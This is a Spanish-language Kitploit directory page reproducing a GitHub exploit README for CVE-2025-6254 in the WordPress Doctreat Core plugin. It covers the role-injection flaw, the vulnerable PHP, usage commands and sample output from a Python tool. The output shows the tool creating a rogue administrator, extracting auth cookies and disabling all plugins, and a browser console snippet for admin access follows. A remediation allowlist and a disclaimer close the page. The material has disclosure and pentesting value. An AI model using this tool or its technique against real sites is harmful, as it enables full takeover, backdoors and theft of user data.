Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalada de Privilegios no Autenticada | Kitploit
Herramientas/GitHubGitHub/yucaerin/cve-2025-6254
Escalada de PrivilegiosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónSeguridad WebCTFPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
2hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalada de Privilegios no Autenticada

Ver Repositorio

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalada de Privilegios No Autenticada mediante Inyección de Rol

🔥 Resumen de la Vulnerabilidad

El plugin de WordPress Doctreat Core versiones <= 1.6.8 es vulnerable a una vulnerabilidad de escalada de privilegios no autenticada. Esta falla crítica permite a atacantes no autenticados crear una nueva cuenta de Administrador directamente a través del endpoint AJAX de registro del plugin.

La vulnerabilidad se origina en la función doctreat_process_registration() en hooks/hooks.php, que acepta el parámetro user_type directamente de los datos POST enviados por el usuario y lo pasa como el parámetro role a wp_update_user() sin la autorización adecuada ni validación de lista blanca. El plugin solo aplica esc_sql() (que no valida roles) — nunca verifica si el rol es seguro para el registro público.

Descubrimiento Clave: El nonce utilizado por Doctreat (scripts_vars.ajax_nonce) está expuesto en cualquier página pública del tema Doctreat activo. El parámetro user_type, que normalmente controla si un usuario se registra como "doctors", "hospitals" o "regular_users", puede ser anulado vía POST a user_type=administrator — y este valor se pasa directamente como el parámetro role de WordPress.

🔍 Plugin Afectado

  • Nombre del Plugin: Doctreat Core
  • Versión Afectada: <= 1.6.8
  • Tipo de Vulnerabilidad: Escalada de Privilegios No Autenticada mediante Inyección de Rol
  • CVE ID: CVE-2025-6254
  • Puntuación CVSS: 9.8 (Crítico)
  • CWE: CWE-269 — Gestión Inadecuada de Privilegios
  • Impacto: Toma de Control Total del Sitio — Creación de Cuenta de Administrador

🧨 Qué Pueden Hacer los Atacantes

🧪 Características del Exploit

  • 🔓 No requiere autenticación
  • 📝 Funciona a través del endpoint AJAX de registro
  • 🎯 Apunta al endpoint AJAX /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 Inyección de rol — envía user_type=administrator junto con los campos normales de registro
  • 🌐 Extracción automática de nonce — extrae ajax_nonce de las páginas públicas del tema Doctreat
  • 🔐 Omite la verificación de nonce — usa el nonce legítimo expuesto por los scripts del tema
  • 🔗 Detección automática de http/https — no es necesario especificar el protocolo
  • 🔒 Soporte SSL inseguro — funciona con certificados autofirmados/inválidos
  • 🎛️ Deshabilitar automáticamente todos los plugins — 3 métodos: acción masiva en plugins.php, API REST, admin-ajax.php
  • 🍪 Extracción de cookies — muestra las cookies de autenticación de WordPress para usar en navegador/curl
  • 🧠 Script para consola JavaScript — péguelo en las DevTools del navegador para acceso instantáneo de administrador

🧠 Código Vulnerable

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

Nota: En objetivos con configuraciones de verificación predeterminadas ($verify_user vacío o 'remove'), el usuario se verifica automáticamente y obtiene acceso de administrador inmediato. Los objetivos con verificación por correo electrónico o aprobación de administrador habilitada requerirán pasos de verificación adicionales.

🚀 Uso

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Inicio de Sesión con Credenciales Existentes (Obtener Cookies)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

Ejemplo de Salida Completa

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

Script de Consola JavaScript

Después de ejecutar el exploit, copie el JavaScript generado y péguelo en la Consola DevTools de su navegador (F12):

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Requisitos

  • Python 3.6+
  • Biblioteca requests (pip install requests)
  • El objetivo debe tener:
    • Tema Doctreat activo (para extracción de nonce)
    • Plugin Doctreat Core <= 1.6.8 activado
    • Registro de usuarios habilitado

🛠 Recomendaciones de Corrección

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • Implementar una lista blanca estricta de roles para el registro
  • Agregar comprobaciones de capacidad current_user_can('create_users') para roles privilegiados
  • Validar user_type antes de pasarlo a wp_update_user()
  • Considerar eliminar la asignación de roles del registro público por completo

🧠 Investigador

  • Crédito: Friderika Baranyai (Foxyyy)

📚 Referencias

  • Wordfence Advisory

🔒 Aviso Legal

Esta información se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. La explotación no autorizada de sistemas informáticos es ilegal y poco ética. Siempre obtenga permiso explícito por escrito antes de probar cualquier objetivo que no sea de su propiedad.

Descargar herramienta
CapacidadImpacto
🔑 Crear cuenta de administrador sin inicio de sesiónToma de Control Total del Sitio
🎛️ Deshabilitar automáticamente todos los plugins de seguridadEvasión de Defensas
💉 Editar archivos PHP de plugins/temasEjecución Remota de Código
🕳️ Instalar puertas traseras ocultasAcceso Persistente
👥 Ver todos los datos de usuarioViolación de Privacidad